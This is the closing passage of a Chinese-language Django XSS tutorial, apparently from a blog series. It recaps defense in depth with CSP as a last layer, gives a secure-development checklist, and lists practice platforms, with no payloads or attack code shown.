CSP 是一層額外的防禦,但不能替代:
- Output Encoding(最重要!)
- Input Validation
- 使用安全的 API最佳實踐:
CSP 應該作為 Defense in Depth 的一部分:
Layer 1: Input Validation
Layer 2: Output Encoding ⭐ 最重要
Layer 3: 使用安全 API
Layer 4: CSP ⭐ 額外防護
Layer 5: HttpOnly Cookie關鍵原則: CSP 是最後一道防線,不是第一道防線!
🔟 重點回顧
學到的技能
建立演練環境:
- 本地 Django 項目
- Docker 容器
- 專門的演練平台
實戰5種攻擊:
- Reflected XSS
- Stored XSS
- DOM-based XSS
- 繞過黑名單過濾
- CSP 測試
防禦技巧:
- Django Template Auto-escaping
- Django Forms 驗證
- Bleach 白名單過濾
- Markdown 替代 HTML
- CSP 配置
- 資料庫清理
檢測方法:
- 手動測試 Payload
- 自動化掃描工具
- 代碼審查
- DOM XSS 檢測腳本
安全開發檢查清單
開發階段:
- 所有用戶輸入都使用 Django Forms 驗證
- 使用 Django Template(自動 escape)
- 避免
|safe和mark_safe - 使用 Markdown 而非 HTML 輸入
- 配置 CSP
- 設置 HttpOnly Cookie
- 使用
textContent而非innerHTML(JavaScript)
測試階段:
- 測試所有輸入點(表單、URL、Headers)
- 嘗試繞過過濾器
- 測試 DOM XSS
- 使用自動化掃描工具
- Code Review
部署階段:
- 確認
DEBUG = False - 確認 CSP 已啟用
- 確認 Cookie 安全設置
- 設置 Security Headers
- 定期安全掃描
📖 延伸閱讀與練習平台
練習平台:
- PortSwigger Web Security Academy - 免費,最推薦
- DVWA - 本地練習
- HackTheBox - 實戰演練
- TryHackMe - 新手友善
- PentesterLab - 進階練習
工具:
🔗 系列導航
- 上一篇: 03-4 DOM-based XSS:基於 DOM 的跨站腳本攻擊
- 下一篇: 03-6 XSS 防禦完整指南
- 返回目錄: Web Security 系列
📝 本文完成日期: 2025-01-15 🔖 標籤: #WebSecurity #XSS #HandsOn #Django #Python #滲透測試 #面試準備